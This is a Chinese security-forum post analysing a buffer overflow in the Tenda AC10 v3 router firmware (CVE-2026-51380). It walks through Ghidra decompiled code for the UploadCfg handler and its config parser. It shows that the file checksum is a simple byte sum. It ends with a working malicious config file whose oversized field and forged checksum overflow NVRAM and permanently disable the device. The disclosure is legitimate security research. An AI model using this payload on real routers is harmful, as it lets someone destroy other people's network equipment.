首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
IoT安全
发新帖
2
0
[原创]TD AC10路由器缓冲区溢出漏洞分析 (CVE-2026-51380)
发表于: 2026-7-20 00:49
1499
[原创]TD AC10路由器缓冲区溢出漏洞分析 (CVE-2026-51380)
n0thing
2026-7-20 00:49
1499
是个准大一生的第一次挖洞成果, **<a href="elink@2daK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2U0N6X3g2Q4x3X3g2G2M7X3N6Q4x3V1k6o6g2V1g2d9k6h3y4G2M7X3c8Q4x3@1k6A6k6q4)9K6c8p5y4h3c8g2)9J5k6o6t1H3x3U0k6Q4x3X3b7#2x3e0x3^5x3l9`.`."> CVE-2026-51380</a> (CNVD-2026-18630)**, 漏洞描述如下: > *Tenda AC10 v3(固件版本 V03.03.16.09)中存在缓冲区溢出漏洞,攻击者可通过 /cgi-bin/UploadCfg 端点造成永久性拒绝服务(DoS),或可能远程执行代码。* 用binwalk可以直接看固件(没有任何加密)是个eCos(实时操作系统),在ghidra打开.bin文件 选择mips, little (endian) 32:  > /cgi-bin/UploadCfg (本漏洞) /cgi-bin/DownloadCfg /cgi-bin/DownloadFlash /cgi-bin/DownloadSyslog 查一下**UploadCfg**  查看最后一个(**UploadCfg success...**): ``` undefined4 FUN_800ed674(int param_1) { int iVar1; undefined1 *puVar2; char *pcVar3; int iVar4; int iVar5; undefined4 uVar6; int iVar7; char *pcVar8; char *pcVar9; undefined1 auStack_320 [512]; undefined1 uStack_120; undefined1 auStack_11f [255]; undefined4 local_20 [2]; FUN_80290cac(&uStack_120,0,0xfe); FUN_80297408(&uStack_120,*(undefined4 *)(param_1 + 0x168),0xfe); iVar1 = FUN_80297290(auStack_11f,0x2f); iVar7 = iVar1 + 1; if (iVar1 == 0) { if (0 < DAT_803c6294) { FUN_80290744(s_%s[%d]_Missing_CGI_name_8035a92c,s_Tenda_webs_CGI_BIN_Handler_80 36d894,0x94); } FUN_800b0228(param_1,200,s_Missing_CGI_name_8035a948); } else { puVar2 = (undefined1 *)FUN_80297290(iVar7,0x2f); if (puVar2 != (undefined1 *)0x0) { *puVar2 = 0; } FUN_80290744(s_Enter_webDoCgi_fun_cgiName_=_%s_c_8035a95c,iVar7,* (undefined4 *)(param_1 + 0x1b0) ); iVar1 = FUN_802973b4(iVar7,s_upgrade_8035a988,7); if (iVar1 == 0) { local_20[0] = 0; iVar7 = 100; FUN_80290cac(auStack_320,0,0x20); FUN_80290744(s_Start_upgrade..._8035a990); FUN_80044898(); iVar1 = FUN_800448bc(*(undefined4 *)(param_1 + 0x214),0,local_20); if (iVar1 < 0) { iVar7 = 0xc9; FUN_80290744(s_Upgrade_check_err!!!_8033f02c); } uVar6 = FUN_802907cc(auStack_320,0x20,s_{"errCode":"%d"}_8035a9a4,iVar7); FUN_800ada00(param_1,200); FUN_800afad0(param_1,uVar6,0); FUN_800aeac8(param_1); FUN_800aeb20(param_1,&DAT_8033d5d0,auStack_320); FUN_800ae72c(param_1); if (iVar7 == 100) { iVar1 = FUN_80044b34(*(undefined4 *)(param_1 + 0x214),0x1c,local_20[0]); if (iVar1 < 0) { pcVar3 = s_Upgrade_fw_err!!!_8033f044; } else { pcVar3 = s_Upgrade_success..._8033f058; } FUN_80290744(pcVar3); iVar1 = *(int *)(param_1 + 0x214); } else { iVar1 = *(int *)(param_1 + 0x214); } if (iVar1 != 0) { FUN_80044674(); *(undefined4 *)(param_1 + 0x214) = 0; } } else { iVar1 = FUN_802973b4(iVar7,s_UploadCfg_8035a9b8,9); if (iVar1 != 0) { iVar1 = FUN_802973b4(iVar7,s_DownloadCfg_8035a9ec,0xb); if (iVar1 == 0) { FUN_80290cac(auStack_320,0,0x100); FUN_80290744(s_DownloadCfg:_path:%s_8035a9f8,iVar7); pcVar3 = (char *)FUN_802944e0(0x8000); if (pcVar3 == (char *)0x0) { return 1; } FUN_80290cac(pcVar3,0,0x8000); iVar1 = FUN_800489b0(pcVar3,0x8000); iVar7 = FUN_800ae170(0); if (iVar7 != 0) { FUN_800aeb20(param_1,s_HTTP/1.0_200_OK_Date:_%s_8035a878,iVar7); FUN_800abd30(iVar7); } FUN_800aeb20(param_1,s_Server:_%s_8035a8ac,s_Server:_GoAheadhttp_8035a894); iVar7 = FUN_800ae170(0); if (iVar7 != 0) { FUN_800aeb20(param_1,s_Last-modified:_%s_8035a8bc,iVar7); FUN_800abd30(iVar7); } iVar7 = 0; for (pcVar8 = pcVar3; *pcVar8 != '\0'; pcVar8 = pcVar8 + iVar4 + 1) { iVar4 = FUN_8029734c(pcVar8); iVar5 = 0; for (pcVar9 = pcVar8; pcVar9 != pcVar8 + iVar4; pcVar9 = pcVar9 + 1) { iVar5 = iVar5 + *pcVar9; } iVar7 = iVar7 + iVar5; } FUN_80290cac(auStack_320,0,0x100); FUN_802907cc(auStack_320,0x100,s_@%d_8035aa10,iVar7); iVar7 = FUN_8029734c(auStack_320); iVar4 = FUN_8029734c(s_#Please_don't_change_this_file_b_803c62f0); FUN_800aeb20(param_1,s_Content-length:_%d_8035a8e4,iVar7 + iVar4 + iVar1); FUN_800aeb20(param_1,s_Content-type:_config/conf_8035a8fc); FUN_800aeb20(param_1,s_Connection:_close_8035a918); FUN_800aeb20(param_1,s_NT:_upnp:rootdevice_USN:_uuid:%s_8034db58 + 0x34); uVar6 = FUN_8029734c(s_#Please_don't_change_this_file_b_803c62f0); iVar1 = FUN_800ae884(param_1,s_#Please_don't_change_this_file_b_803c62f0,uVar6); uVar6 = FUN_8029734c(auStack_320); iVar7 = FUN_800ae884(param_1,auStack_320,uVar6); iVar1 = iVar1 + iVar7; for (pcVar8 = pcVar3; *pcVar8 != '\0'; pcVar8 = pcVar8 + iVar7 + 1) { FUN_80290cac(auStack_320,0); FUN_8006e6f4(auStack_320,pcVar8,0x100); puVar2 = (undefined1 *)FUN_80297290(auStack_320,0x3d); if (puVar2 != (undefined1 *)0x0) { *puVar2 = 0; uVar6 = FUN_8029734c(pcVar8); iVar7 = FUN_800ae884(param_1,pcVar8,uVar6); iVar4 = FUN_800ae884(param_1,s_NT:_upnp:rootdevice_USN:_uuid:%s_8034db58 + 0x34,2); iVar1 = iVar1 + iVar7 + iVar4; } iVar7 = FUN_8029734c(pcVar8); } *(int *)(param_1 + 0x1c8) = iVar1; FUN_800ae72c(param_1); FUN_80294734(pcVar3); return 1; } iVar1 = FUN_802973b4(iVar7,s_DownloadFlash_8035aa18,0xd); if (iVar1 != 0) { iVar1 = FUN_802973b4(iVar7,s_DownloadSyslog_8035aa70,0xe); if ((iVar1 != 0) && (iVar1 = FUN_802973b4(iVar7,s_exportSysLog_8035aa80,0xc), iVar1 != 0)) { return 1; } FUN_800ed440(param_1,iVar7); return 1; } FUN_80290cac(auStack_320,0,0x200); FUN_80290744(s_DownloadSPIFlashImage_8035aa28); iVar1 = FUN_800ae170(0); if (iVar1 != 0) { FUN_800aeb20(param_1,s_HTTP/1.0_200_OK_Date:_%s_8035a878,iVar1); FUN_800abd30(iVar1); } FUN_800aeb20(param_1,s_Server:_%s_8035a8ac,s_Server:_GoAheadhttp_8035a894); iVar1 = FUN_800ae170(0); if (iVar1 != 0) { FUN_800aeb20(param_1,s_Last-modified:_%s_8035a8bc,iVar1); FUN_800abd30(iVar1); } iVar1 = 0; uVar6 = FUN_80046e34(); FUN_800aeb20(param_1,s_Content-length:_%d_8035a8e4,uVar6); FUN_800aeb20(param_1,s_Content-type:_config/conf_8035a8fc); FUN_800aeb20(param_1,s_Connection:_close_8035a918); FUN_800aeb20(param_1,s_NT:_upnp:rootdevice_USN:_uuid:%s_8034db58 + 0x34); do { iVar7 = FUN_80046e34(); if (iVar7 - iVar1 < 1) { LAB_800edd10: *(int *)(param_1 + 0x1c8) = iVar1; FUN_800ae72c(param_1); FUN_80290744(s_DownloadFlashImage_ok_..._8035aa54); return 1; } iVar7 = FUN_80044270(iVar1,auStack_320,0x200); if (iVar7 != 1) { FUN_80290744(s_Read_flash_err=%d_8035aa40,iVar7); goto LAB_800edd10; } FUN_800ae884(param_1,auStack_320,0x200); iVar1 = iVar1 + 0x200; } while( true ); } FUN_80290cac(auStack_320,0,0x20); iVar1 = FUN_80048a18(*(undefined4 *)(param_1 + 0x214),*(undefined4 *) (param_1 + 0x1b0)); if (iVar1 == 0) { FUN_80290744(s_UploadCfg_success..._8035a9d4); uVar6 = 100; } else { FUN_80290744(s_UploadCfg_err!_8035a9c4); uVar6 = 0xca; } uVar6 = FUN_802907cc(auStack_320,0x20,s_{"errCode":"%d"}_8035a9a4,uVar6); FUN_800ada00(param_1,200); FUN_800afad0(param_1,uVar6,0); FUN_800aeac8(param_1); FUN_800aeb20(param_1,&DAT_8033d5d0,auStack_320); FUN_800ae72c(param_1); if (*(int *)(param_1 + 0x214) != 0) { FUN_80294734(); *(undefined4 *)(param_1 + 0x214) = 0; } } FUN_80013cf4(1,0x12,s_string_info=reboot_80337b98); } return 1; } ``` 在**FUN_80048a18**,它会读上传⽂件的内容然后写⼊内存(这个部分可能有漏洞) ``` iVar1 = FUN_80048a18(*(undefined4 *)(param_1 + 0x214), *(undefined4 *)(param_1 + 0x1b0)); if (iVar1 == 0) { FUN_80290744(s_UploadCfg_success..._8035a9d4); uVar6 = 100; } else { FUN_80290744(s_UploadCfg_err!_8035a9c4); uVar6 = 0xca; } if (*(int *)(param_1 + 0x214) != 0) { FUN_80294734(); *(undefined4 *)(param_1 + 0x214) = 0; } ..... ..... ..... FUN_80013cf4(1, 0x12, s_string_info=reboot_80337b98); ``` FUN_80048a18的内容: ``` undefined4 FUN_80048a18(char *param_1,int param_2) { int iVar1; undefined1 *puVar2; char *pcVar3; int iVar4; int iVar5; int iVar6; char *pcVar7; char *pcVar8; int iVar9; char local_830 [2048]; int local_30; FUN_80290cac(local_830,0,0x800); if (param_1 == (char *)0x0) { FUN_80290744(s_CFG_write_prof_file_is_NULL!!_803428a8); return 0xffffffff; } iVar4 = 0; iVar5 = 0; iVar6 = 0; pcVar7 = param_1 + param_2; pcVar3 = param_1; LAB_80048aac: if ((*pcVar3 == '\0') || (pcVar7 <= pcVar3)) goto LAB_80048bcc; if (*pcVar3 == '\r') { if (pcVar3[1] != '\n') { pcVar3 = pcVar3 + 1; goto LAB_80048aac; } *pcVar3 = '\0'; iVar1 = FUN_8029734c(param_1); if (0x7fc < iVar1 - 3U) { LAB_80048bcc: if (((iVar4 != 0) && (iVar5 != 0)) && (iVar4 == iVar5)) { FUN_80047288(); FUN_80290744(s_CFG_write_prof_%d_items_803428d0,iVar6); return 0; } FUN_80290744(s_CFG_write_prof_err_%x_803428ec,iVar4); return 0xffffffff; } pcVar8 = pcVar3 + 1; if (*param_1 == '\n') { param_1 = param_1 + 1; iVar1 = iVar1 + -1; pcVar8 = pcVar3 + 2; } local_30 = iVar1; FUN_80290c04(local_830,param_1,iVar1); local_830[local_30] = '\0'; param_1 = pcVar8 + 1; pcVar3 = param_1; if (local_830[0] != '#') { if (local_830[0] != '@') { iVar1 = FUN_8029734c(local_830); for (iVar9 = 0; iVar9 != iVar1; iVar9 = iVar9 + 1) { iVar4 = iVar4 + local_830[iVar9]; } puVar2 = (undefined1 *)FUN_80297290(local_830,0x3d); if (puVar2 != (undefined1 *)0x0) { *puVar2 = 0; iVar6 = iVar6 + 1; FUN_80047190(local_830,puVar2 + 1); if (pcVar8[1] != '\0') goto LAB_80048aa8; } goto LAB_80048bcc; } iVar5 = FUN_80296ac8(local_830 + 1,0,10); FUN_8029a658(s_crc:%d_803428c8,iVar5); } } LAB_80048aa8: pcVar3 = pcVar3 + 1; goto LAB_80048aac; } ``` ## **分析** ``` if (local_830[0] == '@') { iVar5 = FUN_80296ac8(local_830 + 1, 0, 10); // 读取校验值 } ``` 这个**安全签名**没有用MD5,SHA等加密散列,只是简单的ascii码累加和: ``` for (iVar9 = 0; iVar9 != iVar1; iVar9++) { iVar4 = iVar4 + local_830[iVar9]; } ``` 这个校验机制也是弱的,攻击者可以写脚本改一下配置内容然后再计算校验和 ## 溢出点定位 通过FUN_80047190写入nvram: ``` FUN_80047190(local_830, puVar2 + 1); ``` 解析器限制单行输入是2047字节,但没有对具体的配置长度做校验,nvram中的分配变量空间也有限(比如wan0_macclone_mode只有大概32节),nvram_set也没有做检查,导致缓冲区溢出,因为是在nvram上写的,所以用物理按钮来重启路由器也不会恢复的,wifi ssid也会消失。 最终可以通过py做个cfg, 上传到设备的管理员页面 cfg内容: ``` sys_workmode=router wan0_primary=1 wan_domain=www.tendawifi.com wan0_macclone_mode=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA @73120 ```
传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!!
最后于
2026-7-20 00:51 被n0thing编辑 ,原因: 想改为iot安全因为选错ios安全了
收藏
・
2
点赞
・
0
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
0
)
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
n0thing
1
发帖
0
回帖
10
RANK
关注
私信
他的文章
[原创]TD AC10路由器缓冲区溢出漏洞分析 (CVE-2026-51380)
1498
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部